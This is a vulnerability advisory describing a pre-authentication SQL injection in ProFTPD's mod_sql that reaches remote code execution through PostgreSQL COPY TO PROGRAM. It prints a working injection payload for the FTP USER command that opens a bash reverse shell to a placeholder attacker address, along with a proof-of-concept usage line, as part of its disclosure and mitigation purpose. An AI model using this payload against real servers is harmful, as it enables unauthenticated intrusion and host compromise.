
Pre-Auth RCE in ProFTPD via mod_sql is_escaped_text() bypass (CVE-2026-42167)
mod_sql SQL InjectionAuthor: Van Glenndon Enad
Original Discovery: ZeroPath
Published: May 1, 2026
Severity: Critical
CVSS v3.1 Score: 8.1
CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v2 Score: 7.6
CVSS v2 Vector: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (SQL Injection), CWE-78 (OS Command Injection)
CVE-2026-42167 is a critical pre-authentication SQL injection vulnerability in ProFTPD's mod_sql extension module. A logic flaw in the is_escaped_text() function allows an unauthenticated attacker to bypass SQL character escaping by crafting a USER command whose value satisfies a flawed "already-escaped" heuristic. The injected SQL is passed directly to the backend database via PQexec(), which supports stacked queries.
When the ProFTPD database role is a PostgreSQL superuser — a common misconfiguration in containerized deployments — the injection reaches PostgreSQL's COPY TO PROGRAM directive, resulting in unauthenticated OS-level Remote Code Execution as the postgres system user. No credentials, no prior access, and no user interaction are required.
| Component | Version |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| Module | mod_sql + mod_sql_postgres |
| Fixed Version | 1.3.9a (released April 27, 2026) |
| Backend | PostgreSQL (RCE); MySQL / SQLite (auth bypass only) |
ProFTPD is a widely deployed open-source FTP server. According to Shodan, over 160,000 publicly accessible ProFTPD instances exist on the internet. The mod_sql module is commonly enabled in shared hosting control panels including cPanel, Plesk, DirectAdmin, Webmin, and ISPConfig.
ProFTPD's mod_sql module supports SQL-backed authentication and activity logging. Log format strings can include substitution variables such as %U (username), %r (remote host), and %m (FTP command). These variables are expanded at runtime and inserted into SQL queries executed against the configured backend.
A typical vulnerable configuration:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
In this configuration, the value supplied in the FTP USER command is substituted for %U and included directly in a SQL INSERT statement. Before insertion, the value is passed through is_escaped_text() to determine whether it needs escaping. This function contains a critical logical flaw.
is_escaped_text() FunctionLocated in contrib/mod_sql.c, the function applies the following heuristic to decide if a string is "already escaped":
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Assume the string is escaped if:
* 1. It starts with a single quote
* 2. It ends with a single quote
* 3. It contains no internal single quotes
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* skip escaping */
}
return FALSE;
}
When this function returns TRUE, sql_resolved_append_text() (line 777) inserts the raw, unescaped value directly into the query string. The value is then executed by PQexec() in contrib/mod_sql_postgres.c (line 1146), which supports stacked (multi-statement) queries.
The heuristic was likely intended to detect strings that were already surrounded by SQL string delimiters. However, it makes no attempt to verify that the inner content is safe — only that no additional single quotes are present. This means any payload that:
''$$ dollar-quoting instead)...will pass the check and be injected verbatim into the SQL query.
FTP Client ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expand %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ skip escaping │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ execute stacked SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell command ──▶ OS
| Requirement | Notes |
|---|---|
mod_sql enabled with SQL logging | Must log a pre-auth variable such as %U |
| PostgreSQL backend | Required for COPY TO PROGRAM RCE; MySQL/SQLite still allow auth bypass |
| DB role is PostgreSQL superuser | COPY TO PROGRAM is restricted to superusers or members of pg_execute_server_program |
bash available on DB host | Required for /dev/tcp reverse shell delivery |
| Network reachability | PostgreSQL container must be able to reach attacker on the listener port |
The superuser condition is frequently met in containerized deployments where the ProFTPD DB user is created via POSTGRES_USER=... in the official PostgreSQL Docker image, or when an administrator grants the ProFTPD role ownership of the database.
Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
│
▼
Step 2: ProFTPD expands %U with attacker-controlled value
│
▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
│
▼
Step 4: PQexec() executes stacked query against PostgreSQL
│
▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
│
▼
Step 6: Reverse shell / file exfiltration delivered to attacker
The injection payload is delivered via the FTP USER command:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| Condition | Satisfied? | Reason |
|---|---|---|
Starts with ' | ✅ | First character is ' |
Ends with ' | ✅ | Last character is ' |
| No inner single quotes | ✅ | Inner strings use $$ dollar-quoting |
| Segment | Purpose |
|---|---|
', null, null); | Closes the original INSERT statement cleanly |
COPY (SELECT $$x$$) TO PROGRAM | Stacked query using PostgreSQL's COPY TO PROGRAM |
$$bash -c ...$$ | Shell command using $$ dollar-quoting to avoid single quotes |
; --' | Terminates the stacked query; --' comments out remainder and provides the closing ' for the bypass |
Warning: This PoC is provided for educational and authorized testing purposes only. Do not use against systems you do not own or have explicit written permission to test.
Sample Usage:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| Category | Description |
|---|---|
| Confidentiality | Full read access to the filesystem as the postgres OS user |
| Integrity | Ability to write files, modify database contents, install backdoors |
| Availability | Service disruption, data destruction possible |
| Authentication | Exploitable with zero credentials pre-authentication |
| Scope | Extends beyond ProFTPD to the underlying PostgreSQL host |
Any system where ProFTPD is co-located with or has superuser access to a PostgreSQL instance is at risk of full host compromise. Lateral movement to adjacent systems and persistence via cron jobs or SSH key injection are trivially achievable post-exploitation.
is_escaped_text() with proper parameterized query handlingmod_sql-based logging entirely (remove SQLLog directives)%U, %r, %m) from SQLNamedQuery definitionsINSERT on the log table and SELECT on the auth tableUSER commands containing single quotes, COPY, PROGRAM, or SQL keywords| Date | Event |
|---|---|
| March 28, 2026 | Vulnerability reported to ProFTPD maintainers |
| April 7, 2026 | Patch verification began |
| April 24, 2026 | CVE-2026-42167 assigned |
| April 27, 2026 | Fix committed; ProFTPD 1.3.9a released |
| April 28, 2026 | Published on NVD |
| April 28–29, 2026 | Public PoC repositories published on GitHub |
| May 1, 2026 | Independent analysis and simplified PoC published |
Legal Disclaimer: This analysis and proof of concept are published strictly for educational, research, and defensive security purposes. The author does not condone unauthorized access to computer systems. Always obtain explicit written permission before conducting security testing against any system you do not own.